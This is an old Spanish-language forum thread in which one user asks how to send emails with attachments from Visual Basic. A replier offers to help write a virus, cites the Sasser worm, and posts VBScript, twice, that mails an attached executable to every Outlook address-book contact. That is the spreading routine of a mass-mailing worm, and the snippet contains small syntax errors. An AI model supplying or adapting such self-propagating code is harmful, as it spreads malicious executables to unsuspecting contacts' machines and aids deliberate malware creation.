enviar correos con ficheros adjuntos con visual basic
presi
16 de Abril del 2005
necesito codigo para como puedo atraves de visual basic enviar correos con ficheros adjuntos
¶mmm
16 de Abril del 2005
QUE QUIERES HACER UN VIRUS?
JEJEJE BUENO SI ES ASI TE AYUDO PERO TE DIGO ALGO ESTUVE TRATANDO DE HACER UNO HACE POCO Y YA WINDOZE ADVIERTE A OUTLOOK QUE ESTAN TRATANDO DE ENVIAR ILEGALMENTE MENSAJES DE CORREO CON FICHEROS ADJUNTOS, ESTO ME DECEPCIONO MUCHO, ASI QUE TE DIGO APRENDE LO QUE HIZO EL VIRUS SASSER.
AQUI TE VA EL CODIGO
Set so = CreateObject(fso)
Set ol = CreateObject("Outlook.Application")
Set out = Wscript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For X = 1 To a.AddressEntries.Count
Set Mail = ol.CreateItem(0)
Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(X)
Mail.Subject = "LO QUE QUIERAS"
Mail.Body = "LO QUE QUIERAS"
Mail.Attachments.Add = "DIRFILE.EXE"
Mail.Send
Next
ol.Quit
¶mmm FUTURE MASTER
JEJEJE BUENO SI ES ASI TE AYUDO PERO TE DIGO ALGO ESTUVE TRATANDO DE HACER UNO HACE POCO Y YA WINDOZE ADVIERTE A OUTLOOK QUE ESTAN TRATANDO DE ENVIAR ILEGALMENTE MENSAJES DE CORREO CON FICHEROS ADJUNTOS, ESTO ME DECEPCIONO MUCHO, ASI QUE TE DIGO APRENDE LO QUE HIZO EL VIRUS SASSER.
AQUI TE VA EL CODIGO
Set so = CreateObject(fso)
Set ol = CreateObject("Outlook.Application")
Set out = Wscript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For X = 1 To a.AddressEntries.Count
Set Mail = ol.CreateItem(0)
Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(X)
Mail.Subject = "LO QUE QUIERAS"
Mail.Body = "LO QUE QUIERAS"
Mail.Attachments.Add = "DIRFILE.EXE"
Mail.Send
Next
ol.Quit
¶mmm FUTURE MASTER